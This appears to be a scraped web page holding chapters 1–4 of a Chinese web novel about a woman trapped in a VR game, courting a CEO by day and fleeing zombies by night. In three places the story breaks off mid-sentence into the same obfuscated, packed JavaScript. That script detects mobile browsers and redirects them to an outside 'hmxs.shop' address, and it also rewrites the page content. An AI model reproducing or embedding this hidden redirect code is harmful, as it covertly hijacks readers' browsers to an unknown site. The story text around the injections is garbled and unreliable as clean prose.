《乙女攻略，但有丧尸》 1. 第 1 章 “您的快递到了，请签收。” 开门，签字，关门。黎春日的动作一气呵成。 她拿起剪刀咔嚓几下，箱子四分五裂，露出里面等人高的庞然大物。 金属质地的外观流畅顺滑，灯光之下，还能折射出耀眼的银蓝色光芒。 抚过尽显科技美感的全息游戏舱，黎春日啧啧称奇。果然是大公司，制作就是精良。 她迫不及待地躺进游戏舱，体验期待已久的乙女恋爱游戏。 游戏载入完成，色彩缓缓亮起。只是还没等她看清游戏画风，整个世界就陷入黑暗之中。 滋滋，滋滋滋，耳边的电流声断断续续。 黎春日内心有不安，她在伸手不见五指的黑暗中到处摸索，却一无所获。 怎么回事，这才刚买回来就坏了，不应该啊。 她点开游戏面板，打算询问客服原因。 一粒光芒跃入视线，接着越来越多，最终汇聚成一张巨大的海报。 阳光明媚，微风吹拂，樱花树下三个风格迥异的男人占据了海报大半。他们或站或坐，姿态各异。唯一相同的，是他们伸出手的邀请姿态。 而海报最下方三分之一处的风格则截然不同。天色阴沉，高楼破败。一只干枯沾染血污的大手占据中心位置，手心朝上，同样一副邀请的模样。 黎春日歪歪头，这和她之前看的宣传画面不一样啊，难道游戏改版了？ 下方独特的画风让人轻易就能联想到末日一词，估计新版本是以末日为背景的游戏。 思索期间，定格几秒的海报骤然破碎。又缓缓聚拢，组成游戏的名字。 恋爱or生存。 白玫瑰缠绕恋爱盛开，而生存的底色则铺满猩红的鲜血。 黎春日低声轻喃，当最后的存字消散，她的面前冒出一行温馨提示和鲜红硕大的三秒倒计时。 若玩家想要退出游戏，请在三秒内完成操作，否则……。 黎春日眨眨眼，否则什么。况且游戏她还没进去呢，为什么要退出。 虽然通过前置剧情她已经明白这不是她最初期待的版本了，但本着来都来了的精神，用来消磨无聊的周末也可以。 三秒倒计时很快结束，起名过后，终于来到黎春日最为喜欢的环节。 选择攻略目标。 游戏提供了三种风格的男人，一号出现的瞬间就吸引了她的全部注意。 深邃的眉眼，直挺的鼻梁，冷冽疏离的气质。可以说他浑身上下都长在黎春日的审美点上。 一秒钟内，她要知道这个男人的全部信息。 目光快速下滑，看到人物设定的那刻，黎春日瞬间萎了。 多么合心意的一个人，怎么偏偏是个霸道总裁。 现实中当牛马已经很苦了，如果游戏里再给霸总打工，她真的很难带入情绪沉浸式体验。 思索再三，最终她含泪放弃一号男嘉宾。 面对温柔体贴的二号服装设计师，还有三号健硕开朗的运动系学长，黎春日陷入无尽纠结。 她对那种会甜甜地喊地姐的男生没有抵抗力，但她饱经职场沧桑的心又无法拒绝嘘寒问暖的温柔人设。 最终，黎春日眼带不舍地盯着三号选手，手指颤颤巍巍地向中间伸去。 忽然，滴的一声。 黎春日被吓得一个激灵，她连忙张望四周，发现是游戏在提醒她尽快做出选择。 轻拍跳动不已的心脏，低头望去，选择攻略角色的画面正在消失。 黎春日眨眨眼，刚刚她手抖了一下，也不知道最后有没有点到二号。 她并不纠结，反正只要不是一号就行，接下来就看二号，三号哪个跟她更有缘分了。 终于要进入剧情了，黎春日搓搓手，满眼期待接下来出现的男人。 画面渐渐浮现，阴凉黑夜里，她依靠长街上亮起的几盏路灯观察四周。 数团体型庞大的黑影立在原地，眯眼细看，发现是尽数坍塌的房屋高楼。背后四角缺了两块的便利店已然是相对完好的建筑物了。 黎春日踮脚眺望，试图看得更远。但暗黄的灯光照明范围有限，只能看清空气中凝固的浮尘。 她轻轻掩鼻，不明白接下来要做些什么。 叮咚一声，白色加粗的字体为她指明方向。 “生存任务一：请玩家在早上六点前抵达唯恋花园6栋309号房间。” 黎春日轻咦一声，纵观她接触过的乙女游戏，从未有过这样的任务类型。 而且，唯恋花园？ 她啧啧摇头，真不愧是恋爱游戏，就连起的名字都透露着一股子恋爱风。 拉回跑偏的思绪，她放大和任务一同出现的实时导航。 平面地图里，目的地上方标有蓝色倒三角，而左侧不远处的红点则代表她的所在位置。 黎春日将地图放到最大，努力记住全程1.6公里的行动路线。 左拐，直行，最后右拐就能抵达目的地。 视线在最上方的时间一扫而过，4点53分，离早上6点还有一个小时。 时间不多，她系好鞋带，找出刚刚游戏赠送的手电筒便准备出发。 脚下刚踏出一步，原本静止的世界仿佛注入了生命，周遭一切都变得更加真实。 细软黑发轻轻晃动，凉风吹散厚重灰尘的同时，带来丝丝缕缕的腐烂腥味。 黎春日睁大眼睛，晃动手电筒寻找臭味源头。 这款游戏可是以末日为背景的，她千万不能放松警惕。 咚，咚。 身后的动静由小到大，一道蹒跚跛脚的身影缓缓出现在手电筒的照射范围内。 白色灯光下，独眼丧尸缓缓行动。它浑身上下沾满了鲜血和土块的混合物，填满眼眶的黑瞳紧紧盯着地上的白色光芒。 黎春日二话不说，转身拔腿就跑，圆形灯光在地上快速晃动。 危机时刻更能展现出惊人的爆发力，仅仅十几秒，她就摆脱了身后的丧尸。 本以为顺利逃出，但没想到刚出狼窝又进虎穴。 前方拐角处，十几只丧尸围在暗黄的灯光下徘徊不前。 回忆刚刚那只紧追不舍的丧尸，黎春日犹豫再三，还是收起照明用的手电筒。 找路固然重要，可如果灯光能吸引更多丧尸过来，那就得不偿失了。 确认丧尸丝毫没有散开的想法后，黎春日捡起几块石头握在手心，轻手轻脚地向前接近。 注意到其中一只丧尸抬头侧看，她大气不敢喘一下，立即停住脚步。见它没有其他动作，黎春日才继续前进。 20米，15米。她动作缓慢，一点点试探最近的安全距离。 当两方之间只剩10米时，她注意到多半丧尸望了过来，却没有迈脚前进。 明白这就是极限间隔了，黎春日抬起手臂，石头划过空中，咕噜噜地朝斜前方滚去。 十几双没有眼白的大黑珠子齐刷刷转头，其中几只丧尸有所行动，慢慢地朝出声位置接近。 见这招有用，她一个接一个扔出手中的石头，清脆声连延不断。 丧尸一个个离开，此时路灯旁，仅剩一只毫不为之所动摇的执着丧尸。 眼看其他丧尸没有发现异样后接连返回。唯恐突围的时机消失，她咬咬牙，将手中所剩无几的石头一同掷出。 噼里啪啦地掉落声下，是黎春日极限冲刺的奋力奔跑。 她犹如一阵狂风，哗的一下，掠过时刻准备捕猎的丧尸。 余光瞥到那只污黑锋利的指尖和她咫尺之遥，黎春日顿时跑得更快。 她埋头向前冲，丝毫不敢回头，生怕影响她逃命的速度。 身后的动静越来越小，黎春日才敢停靠在路边休息。 短时间内连续冲刺两次，路程过半的同时，她的体力宣布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958968|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告罄。 黎春日瘫坐在路边死角处，双目无神，满脸麻木，大口喘气的声音像是一只漏风的破风箱。 想到声音会引来丧尸，她连忙闭紧嘴巴，默默调整呼吸。 压抑的环境，疲惫劳累的身体，再加上时刻紧绷的神经。她命真苦的念头涌上黎春日的心头。 没玩到期待很久的游戏也就算了，选择攻略人物还出了岔子。这她也可以谅解，毕竟手抖甩不了锅。 但是，一进游戏，她就被迫先跑了个800米的生存战，想当年她体测都没有这么努力过。况且之后还有一半路程，如果再来点极限运动，真心能要了她的老命。 黎春日无声哀号，满脸悲怆。她抬手掩面，不愿再面对这个痛苦的世界。 郁闷之际，熟悉的脚步声再度响起。抒发到一半的心情顿时卡在胸口，上不去也下不来。 只见她倏然起身，化郁闷为动力。转头跑得比兔子还快，留下一句鸟语花香消散在空气中。 时间来到5点36分，在经历躲躲藏藏，走走停停后，黎春日终于到达唯恋花园的门口。 这个小区十分惹眼，在一众倾塌的建筑物中，只有它完好无损。 久违的智商占领高地，黎春日猜测这个唯恋花园应该就是游戏中的安全屋。 胜利的曙光近在眼前，她雄心壮志，昂首阔步，那副骄傲姿态活像一只翘起尾巴的公鸡。 只是这骄傲来得快，去得也快。 黎春日走进唯恋花园，还没三分钟，满脸自信的表情就被迷茫取代。 这些楼怎么都长一个样？ 乌漆嘛黑的天色下，高度相似的建筑物落在近视人眼里，跟复制粘贴没什么区别。 无奈之下，她点开缩略地图。一步一看，害怕迷失在高楼林立的小区里。 红点和蓝色倒三角渐渐重合，楼道里漆黑一片，休息多时的手电筒派上用场。 进门便是空闲中等待使用的便捷电梯，黎春日按一下，没有反应。再按几下，电梯丝毫没有开门的迹象。 确认了，这电梯中看不中用。 她双腿微颤，含泪踏上一眼望不到头的台阶。 拖着疲惫的身躯，黎春日终于在截止时间五分钟前踏上三楼走廊。 所剩时间紧张，她一刻不停，径直推开309号房间。 打开门，预想中的舒适大床化为泡影，只有面目狰狞的丧尸守株待兔。 它骇人的黑眼珠紧盯门口，见有人来，污黑粗糙的双手五指张开，想要抓住送上门的猎物。 危机时刻，身体比脑子先动。砰地一声，她下意识关上了门。 还没等她思考为什么安全屋里会有丧尸的问题，嘎吱一声，斜对面的房间缓缓打开。 一时间，前有狼后有虎，黎春日急得火烧屁股。前后路皆被堵死的她，犹如一只热锅上的蚂蚁。 恰巧此时游戏猛然颤动，提醒距离任务结束只剩三分钟的时间。 黎春日回头看向关在房间内的丧尸，目光坚毅，仿佛下定了某种决心。 她牙一咬心一横，毅然打开309房门。也不管三七二十一，对着走出房间的丧尸一顿乱踹。 砰地一声巨响，两个丧尸互相碰撞，接连倒在地上。 时间来到最后一分钟，黎春日终于进入309号房间。她反身上锁，紧紧抵在门后。 游戏传来任务完成的音效，但她无暇关注，整颗心都扑在门外的丧尸身上。 长长的秒针走完最后几格，和时针缓缓重合。 铛铛。 悠长钟声响起的同一刻，橙红色太阳冲破地平线。浑圆形状犹如饱满的画笔，划过之处，残垣破壁尽数复原，绚烂多彩的颜色犹如童话般美好。 橙红光芒倾泻而下，驱散一切阴霾黑暗。街道上，丧尸脸上的狰狞恐怖逐渐褪去，露出温和善良的笑容。他们摸摸脑袋，毫无所知的回到各自住所。 2. 第 2 章 “叮咚，检测到玩家已进入，游戏即将开始，请做好准备。” “好感任务一：唯恋花园里有住户正在出租，请玩家找到合适的房屋，成为唯恋花园的一员吧。” 租房？ 黎春日愣在原地，脸上的斑驳光影跃然跳动。 什么情况，丧尸还没打完，怎么又跳到租房情节了。 迷茫时，门外传来热闹的交流声。 “哎呦，老张你快起来，压得我都喘不过气了。” 走廊上，两个年龄加起来超过百岁的男人交叠倒在地上，下面的那个痛苦哀号，用力将上方的人推到一边。 老张赶紧从地上爬起来，赔笑道：“对不住，对不住啊。” 男人拍拍衣服上的灰尘，顿觉惊奇：“今儿太阳打西边出来了，你居然起这么早。” “害，今天有租客过来看房子”，老张摆摆手：“我不是要去国外定居了嘛，这房子闲着也是闲着，倒不如租出去让人照看。” “这倒也是”，男人一脸羡慕：“你家闺女真争气啊，小小年纪就能挣大钱了。” 老张不以为意，语气看似谦虚，实则炫耀：“哪有，一年也就挣个几百来万吧。” “嚯，这还少啊。我家儿子要是像你家闺女那么能干，我能少操不少心。” “你家小子挣得也不少，只是这两年行业不景气而已。” 两人一阵商业互吹，眼见太阳越升越高，老张连连拍手。 “坏了坏了，老哥，下次再聊啊。我去打电话问问租房子的人什么时候到。” 老张推开房门，看到床上躺着一个人，他侧过头，连声道歉：“不好意思不好意思，走错房间了。” 关上门，看清门牌号的瞬间，老张陷入沉默。 309，这就是他家。他也没走错啊，那床上躺的人是谁？ 再次推开门，老张怒而捶墙：“你是谁，为什么要跑别人家睡觉。” 睡梦中的黎春日猛然坐起，翻滚下床，探头探脑地打量四周：“地震了？” 看清床上人的真面目后，老张大为震惊：“黎小姐？” “你什么时候来的？我一直都在门外，你怎么进来的？还有，你为什么会躺在床上睡觉？” 一连串的问题把黎春日问懵了，她也不理解，明明早该退出的她，为什么现在还在游戏里。 最开始的时候，她聚精会神，想要从两人的对话中找到游戏异常的原因。 但由于她在丧尸手下跑了一个小时，精神和身体都处于疲惫状态，所以注意力就慢慢转移到柔软舒适的床铺上。 她几经克制，可冰凉的地板实在太硬，回过神才发现，她已经自觉地坐在床上休息了。 坐都坐了，再站起来也不合适，那就这样吧。 她又一次集中注意力，想要认真倾听两人的谈话。 可谁知她左等右等，姿势都换了好几个，两人还没有聊完。 毫无营养的内容听得她哈欠连连，再加上她的老腰开始作妖，一怒之下，她愤然退出游戏，倒头就睡。 那么问题来了，为何本该在家睡大觉的她，现如今还处于游戏之中。 “黎小姐？黎小姐？”，老张摆摆手臂，想要吸引黎春日的注意力。 见她回神，老张收回手，体贴地将事情翻篇：“想来黎小姐应该对房子非常满意，那你看什么时候有空，我们把合同签了吧。” “啊？哦”，黎春日持续掉线中，她压根儿没有听清老张说了什么，只是在机械性地应答。 即使看到游戏助手发来完成任务的消息，她也没有什么反应。 金钱到账的声音美妙悦耳，老张乐得见牙不见眼：“黎小姐果真是爽快人，那我就不打扰了，你继续睡啊。” 老张步伐轻快地离开，游戏紧随其后发布信息。 “好感任务二：经历了漫长求职后，你成功应聘上顾氏集团总裁的生活助理一职，今天是约定好上班的日子。” “请在九点前到达工作岗位，向着新生活出发吧！^_^” 骤然跳出的信息唤醒黎春日掉线的大脑，她忽视任务，径直找到设置页面中的绿色退出键。 戳一下，无事发生。再戳几下，游戏如同坏了一般，毫无反应。 黎春日顿时觉得天都塌了，这到底是怎么回事！ 她狂点退出按钮，五分钟过去，除了收获一根通红的食指外，再无其他。 此路不通便另寻他路。 点进客服服务，黎春日内心的千言万语最终汇聚成一句话：“为什么无法退出游戏！” 客服回复速度极快：“亲亲，已收到您的反馈，正在加急处理中，请稍等片刻。” 还好，还好，她还是能离开游戏的。 黎春日拍拍狂跳的心脏，有种劫后余生的庆幸感。 不一会儿，客服发来消息：“亲亲，您的反馈已处理。” 喜色爬上眉梢，黎春日猴急地退出客服服务。 只是进入页面后，她高扬的眉毛缓缓落平，嘴唇紧抿。 页面怎么和刚开始不太一样了。 她返回设置栏，逐个点击选项进入查看，手速快得都能看出残影。 没有，没有，全都没有，她的退出按钮跑哪去了！ 只见游戏面板上，原本右上角绿色按钮待的地方，如今空无一物。 黎春日无能狂怒，气势汹汹地质问客服：“你把我的退出键弄哪去了？” “亲亲，感谢您的及时反馈，错误已经处理。作为补偿，送您新手大礼包一份，已发送至邮箱，请您及时查收。” 黎春日简直难以置信，哪家游戏修复错误是把退出键给弄没的啊。 而且谁稀罕你的新手大礼包，她不为所动：“我要退出！” “亲亲，请不要激动。本游戏最开始已经提醒过玩家，如若不能在三秒内退出，以后就再也不能退出游戏啦^_^。” 黎春日反复逐字阅读，悬着的心终于死了。啪嗒一下，她生无可恋地瘫在地板上，一动不动。 无法回到现实世界和死了没什么区别，况且这里人生地不熟的，她要怎么生活啊。 “啊啊啊啊啊”，黎春日像条被遏制住命门的长条虫，来回扭曲。 时间缓缓流逝，黎春日持续保持活人微死的状态。 听到游戏提醒离任务截止还有半个小时，她怒而吐槽：“我都这么悲惨了，你居然还让我做任务。” 游戏不语，只一味地发送威胁信息：“请玩家积极完成任务，否则……。” 黎春日惊坐而起，她见过这个句式。 游戏上次这样说，还是最开始提醒她只有三秒时间退出的时候，结果有目共睹。 想到她现在的处境，黎春日秒穿鞋，拔腿就跑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958969|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 回想之前看过的一个问答帖：穿越到异世界后，你首先会干什么事。 彼时她天马行空，答案仍是未知。此时她不用思考，脱口而出： 谢邀，着急上班。 在人生地不熟，身无分文等负面buff的加持下，黎春日成功迟到。 好不容易在九点出头到达顾氏集团，离完成任务只差临门一脚，她被门口的保安拦了下来。 “现在是办公时间，无关人员不得入内。” 一路狂奔的后遗症便是她喘得说不出话，只能用手指一个劲地指自己。 “我，我，我是新来的员工。” 保安恪守职责：“请出示员工证。” 黎春日傻眼了，今天是第一天上班，公司还没去呢，哪来的员工证。 保安也考虑到这一点，转而让步：“没有员工证，收到的入职短信也可以。” 黎春日还来不及开心，就想到一个致命的问题，她在这个世界有手机吗？ 双手拍拍干瘪的衣兜，裤兜。外套里里外外检查一遍，就连鞋子都脱下来看了看。别说手机了，干净得连根毛都没有。 没有手机，就看不了入职短信。没有入职短信，就进不去顾氏集团的大门。进不了顾氏大门，就完不成游戏任务。完不成任务，就会得到否则……的结果。 不行，黎春日断然摇头。转身挂上灿烂的笑容，想让保安通融通融放她进去。 嘴还没张开，就见保安对着身后恭敬喊道：“顾总。” 黎春日回过头，浑身上下长在审美点上的男人擦肩而过。霎那间，她脑海中只剩一个念头。 “顾总，别走，你忘了带上你的生活助唔唔。” 保安急忙捂住黎春日的嘴，对停步回头的男人连声道歉。 顾敛看都不看她一眼，对着保安说道：“找事的直接赶走。” 保安对着顾敛冷酷的背影连连应好，黎春日尔康手无力垂落。 这个任务是完不成了，她扒拉几下凌乱的头发，对着顾敛的背影捏紧拳头。 呵，没有心的无情男人，怪不得最开始不选他。 等一下，不对啊。她选的是温柔体贴的二号啊，为什么现在要做一号的攻略任务。 遇事不懂，就问客服。 “亲亲，没错哦。当初玩家选择的就是一号顾氏集团总裁，顾敛。” 明明点的是二号啊，等等，她想起来了。 当时游戏突然出声提醒，她手一抖，也不知道之后选到谁了。 现在看来，应该是手抖的幅度太大，才会无意点到顾敛。 黎春日眼珠一转，啪啪打字：“既然现在任务已经失败了，要不我换个攻略角色？” “亲亲，角色一经选定，概不更换哦^_^。” 知道游戏说一不二的性格，黎春日捏着鼻子认下了这个攻略人物。 “任务失败了，现在要怎么办。” “亲亲，请及时查收背包中的新人大礼包哦。” 这都什么时候了，还要看新人大礼包。黎春日一边吐槽，一边听话地点开背包查看。 耀眼光芒闪过，两个五彩光球悬浮在空中。 挨个点开查看使用说明，黎春日神色微妙，弯眉高高挑起。 她严重怀疑这是游戏暗箱操作放进去的东西，毕竟两样刚好能完美解决现在所面临的问题。 3. 第 3 章 第一个能回到两个小时前的时间回溯卡，完美解决她迟到的问题。 第二个嘛，黎春日掂量几下颇具分量的最新款水果手机，正好能解决她进入公司的入职问题。 真不怪黎春日会这样想，两样东西出现的时机太巧了，轻易就能和游戏联系在一起。 反正这样做百利而无一害，她全当不知道，配合游戏行动吧。 “客服，这个时间回溯卡要怎么用？” “亲亲在的，玩家在卡片上填写想要回到的时间点就行。” “OK，懂了。” 现在是早上九点半，两个小时，那就是早上七点半。 黎春日工工整整写下7:30，万一游戏不能清楚识别，再回到其他时间，她哭都没地方哭。 最后一笔落下，流动的时间倏然停止，发丝轻柔落回肩膀。 四周的一切缓缓回流，由清晰鲜明到模糊不清。仿佛有只无形的大手在操控时钟，分针倒转两圈，整个世界的人和物各归其位，回到早上七点半。 “黎小姐果真是爽快人，那我就不打扰了，你继续睡啊”，说完，老张步伐轻快地离开。 黎春日眨眨眼，不急不缓地做伸展运动。之前跑得太急，一路上腿抽筋了好几次。 身体运动的同时，大脑也在快速转动。 现在离上班时间还有一个半小时，据上次经验来看，从这里出发，到顾氏集团的通勤仅需半个小时。 这还是以全程跑步来估算的，如果坐车，通勤时间只会更短，她完全不用着急。 舒展开筋骨，黎春日慢悠悠地出发了。经过便利店时，还顺带吃了个早餐。 生活再忙，也要好好爱自己。 八点五十分，她准时到达公司楼下。果不其然，勤恳敬业的保安精准拦下了她。 黎春日二话不说，直接将早已点开的短信递到他面前。 历经千辛，她终于踏进顾氏集团的公司大门。先是跟着人事办理入职手续，忙忙碌碌。直到上午十点整，她才坐到工位上休息。 屁股还没暖热，一个戴眼镜，自称总裁秘书的斯文男生走过来，要和她交代工作内容。 “生活助理的工作内容可以用一句话概括，就是照顾好顾总生活的方方面面。” 黎春日礼貌微笑，表示她在认真听。其实内心鸟语花香，吐槽万恶的资本主义。 “这份工作是两班制，由于另外一个夜猫子主动包揽了晚班，所以你的上班时间是上午九点到下午三点。” 这个世界上还是好人多啊，她双手合十，对夜猫子同事送来的早班福利致以万分感谢。 “……好了，大概的工作内容就这些。今天顾总要去其他地方开会，不一定回来。你先熟悉熟悉工作环境，有需要我会联系你。” “好的”，目送秘书走远，黎春日二话不说，准备趴下睡觉，游戏助手忽然弹出一条消息。 “好感任务三：一个合格的生活助理要具备细心，耐心，勤劳和自我奉献的美好品质。” “请玩家牢记工作职责，争做合格助理。” 黎春日不屑地撇撇嘴，要不是手抖选错了，现在她才是被人方方面面照顾的角色。而不是在这学着做一个合格的牛马。 注意到任务下方有一个标着经验值的进度条，她顿时明白这是长期战线。 那就更不重要了，任务直接被黎春日抛到脑后，她将资料扒拉一边，不断调整适宜睡觉的姿势，利索地闭眼休息。 从进入游戏到现在，她不是在跑步，就是在跑步的路上。几个小时不停歇的剧烈运动，就算是神仙来了也受不了。 刚刚听秘书交代工作内容，她都是强撑着打起精神。正好今天顾敛要出去，此时不补觉，更待何时。 黎春日全身沐浴在阳光之下，犹如盖了一条天然毛毯，整个人暖洋洋的。 时间一晃而过，毫不停歇的电梯停在36楼。 首先映入眼帘的是乌黑锃亮的皮鞋，视线上移，笔直的长腿，劲瘦的腰身，宽厚的肩膀，以及建模般的脸。 顾敛快步走进办公室，几秒后又退了出来。 他快速翻找手中的文件，微微侧头，示意秘书看向旁边：“这人是谁。” 秘书握拳重咳几声，战略性推扶眼镜：“她是今天新来的生活助理。” 修长的手指顿住，顾敛定定看了秘书几秒，才继续翻过纸张：“入职第一天就这样，她到底是来上班还是来睡觉的。” 他随手一指，转身走进办公室：“你盯着她，睡多长时间，就扣多长时间的工资。” “是。” “滴滴，检测到好感度波动，末日商城已开启。” “另：好感度负值状态下不可用于商城交易。” 熟睡的黎春日完美错过游戏发来的信息。 秘书怒其不争地来到她身边，啪啪拍打几下桌子：“别睡了，再睡今天的工资就没了。” 工资二字，触发到社畜人的敏感雷达。 黎春日咻地一下坐起身，目光锐利，谁的工资没了？ 秘书同为打工仔，对她的遭遇感到同情：“你睡觉被顾总看见了，今天睡了多长时间，就得扣多长时间的工资。” “现在是下午三点”，秘书抬手看看时间，沉吟几秒：“你收拾东西下班吧，之后我会去监控室确认。” 直到秘书离开，黎春日还沉浸在工资被扣的悲痛之中。 她垂头丧气地离开公司，背影活像是霜打的茄子。 回家途中，火锅香味阵阵飘来。睡过饭点的黎春日摸摸肚子，决定用美食来治愈她逝去的一日工资。 等待上菜期间，她挨个点进支付软件和各大银行APP，想要知道她目前的资产总值。 一顿加加减减后，黎春日看着高达七位数的存款，满面春风。 她睁大眼睛，不可思议的语气中难掩兴奋：“我也是个资产阶级喽。” 顿时，失去工资的后遗症全部消散。不论碰见谁，她都一副喜气洋洋的模样，就连晚上睡梦中，她的嘴角都还保持上扬的弧度。 指针一分一秒划过，越是接近夜晚十二点，黑灰色雾气越是凝实扩大，盘旋笼罩在整个世界上方。 等待的时光无比漫长，三根指针终于重叠交错，直指数字12。 铛铛。 低沉悠长的钟声再次响起，虎视眈眈的的黑灰色雾气早已迫不及待。转眼间，侵蚀填满世界各个角落。 完好如初的高楼大厦快速变黑，轰然倾塌。声音震耳欲聋，却无人在意探查。 雾气覆盖在每个人的脸上，钻入体内，侵占大脑，腐蚀他们的血肉。 白天还活蹦乱跳的人们，到了晚上，就变成了只会攻击的丧尸。 世界悄然发生翻天覆地的改变，早已熟睡的黎春日一无所知。 她四肢张开，睡得不知天地为何物，被子要掉不掉地挂的床边。 游戏自动开启震动模式，都没能喊醒她。一怒之下，它直接进入惩罚模式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958970|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 细小的蓝色电流游走黎春日全身，她缓缓睁开眼，眸中尽显迷茫。 什么情况，睡个觉而已，怎么浑身都麻了。 面前是疯狂震动的游戏弹窗，她反应几秒，才伸手去点。 “生存任务二：末日中，食物是珍贵的物资之一，请玩家出发寻找三个能吃的食物。” 黎春日顺手点叉，翻个身继续睡觉。 有病吧，大晚上的做什么任务。 砰地一声，黎春日骤然睁眼，转身看向门口。 砰砰，外面持续不断地撞击，门板摇摇欲坠。她来不及思考，快速下床，反身抵住门口。 突如其来的危机赶跑睡意，黎春日连忙询问客服怎么回事。 “亲亲，晚上的世界属于丧尸，一切都是无法控制的，请玩家努力生存哦。” 嘴唇蠕动几下，满肚子吐槽最终汇聚成一句： 哦你妹啊，这么重要的事你白天怎么不说。 没时间和游戏计较，黎春日探头看向窗外，三楼的高度跳下去，怎么也得落个残废。 无奈她只好故技重施，开门，抬腿，转身，关门，一连串动作行云流水。 好不容易解决了这只丧尸，走廊上，所有的房间都在缓缓打开。 妈呀，这要是被一走廊丧尸围住，可就直接没命了。 黎春日满面惊恐，拔腿就跑。 她一路狂奔，避开有光的地方，最后窝在四通八达的小角落里。 “客服，在吗？这到底是怎么回事？” 黎春日眉头紧皱，百思不得其解。白天还很正常的世界，为什么到了晚上就像换了面孔一般截然不同。 昨天早上也是，正好好打着丧尸呢。一瞬之间，所有的危险消失殆尽，世界又突然变回了正常的模样。 “亲亲，在的。本游戏是由恋爱攻略和末日生存两款游戏混合而成。白天是攻略任务，晚上会发布生存任务。当玩家努力完成所有任务，即可回到现实世界。” “你早上那会儿怎么不说”，黎春日愤愤打字。 “亲亲，早上玩家没有问哦^_^。” 早上被无法离开游戏这个冲击性信息搞蒙了大脑，除了发现她是有钱人时快乐一点，其他时间都过得浑浑噩噩，哪能想起来问这些。 而且要不是丧尸大半夜突袭，她还不知道什么时候才能反应过来呢。 现在既然知道了，那她的目标就是努力完成任务，回到现实世界。 黎春日顿时充满干劲，她找到游戏刚刚发布的任务。阅读之后，干劲就像破了口的气球，嗖嗖溜走了。 这可是末世诶，食物可不是一般的难找，而且还要能吃，这游戏的要求也太苛刻了吧。 “亲亲，玩家可以用好感度兑换末日物资哦。” 黎春日眨巴眨巴眼睛，好感度？什么好感度。 页面下拉，她终于看到游戏下午发来的信息。 有救了！她兴奋询问目前的好感度有多少。 “亲亲，请稍等。” 一颗透明爱心出现在她的左手腕上，慢慢地，流动起伏的波浪线缓缓上涨。所到之处，留下浅灰色的痕迹。 最终波浪线停在爱心正中的位置，浅灰色填满了下方空间。 硕大的数字标注在一旁，红艳艳的负50清晰明了，深深刺痛黎春日的双眼。 她也没做什么伤天害理的事啊，顶天就是在上班期间补了个觉，怎么会是负的好感度，肯定是游戏算错了。 4. 第 4 章 “亲亲，没有错哦。本游戏对于好感度检测秉持三公原则，无内幕无问题。” 黎春日微妙的眼神来回打量游戏，没错就没错，怎么还扯上了三公原则。 明白人知道你是个乙女游戏，不清楚的还以为在搞什么公众投票呢。 疯狂吐槽时，游戏弹出新的信息内容。 “叮咚，恭喜玩家触发二级惩罚‘我最闪亮’。” 最下方还标注着一行小字，温馨提示：丧尸各有爱好，祝玩家遇见喜欢在黑暗中游荡的丧尸。 黎春日眼神清澈，脸色迷茫。她戳戳毫无休息之时的客服，什么意思？ “亲亲，由于玩家好感度降至负值，因此触发了惩罚效果。” 好感度1到35点，会触发三级惩罚“霉神附体”；35到70点，会触发二级惩罚“我最闪亮”；70到100点，将会触发一级惩罚“美味佳肴”。 接下来，客服简言意骇解释各个惩罚所代表的内容。 “霉神附体，很好理解，就是能遇见各种倒霉的事。我最闪亮，是指玩家身上会散发出如灯光般明亮的光芒。最后一个美味佳肴，意思是对于丧尸来说，玩家是一道极具吸引力，想要迫切品尝的珍馐美食。” “附：当好感度越接近区间内的最大值，惩罚效果也会越强烈哦。” 在客服解释过程中，狭小的角落光芒大盛。以黎春日为圆心，尽数驱散五米之内的黑暗。 圆心动动锃亮的胳膊腿儿，心情郁闷。几秒后，她忽然反应过来：“等一下，如果明天好感度没有变化，是不是还会触发惩罚。” “亲亲，没错。” “那有什么办法能消除惩罚吗？” 黎春日连眨几下眼睛，缓解灯光带来的不适感。 光是打个字的功夫，眼睛都难受得不行。更别提出去做任务了，往那一杵跟个路灯似的。她甚至比路灯的光还亮，保准一出去就会被丧尸盯上。 “亲亲，只要提升好感度就行哦。” 一口郁气堵在黎春日胸口，上不去也下不来。 她也想赶快提升好感度把惩罚弄没，但再想提升也得等明天。现在大晚上的，她上哪找顾敛刷好感度，能不能说点靠谱的。 客服也意识到这点，补充说道：“亲亲，玩家完成任务能获得三个小时的保护罩，使用期限仅限当天。” “保护罩可以完全隐匿玩家生理特征，即使从丧尸面前经过都不会引起它的注意。” 墙脚漆皮摇摇欲坠，黎春日继续无意识抠挖，同时大脑飞速运转。 “我最闪亮”的惩罚严重影响她做任务，可惩罚的负面效果恰恰需要完成任务才能解决。 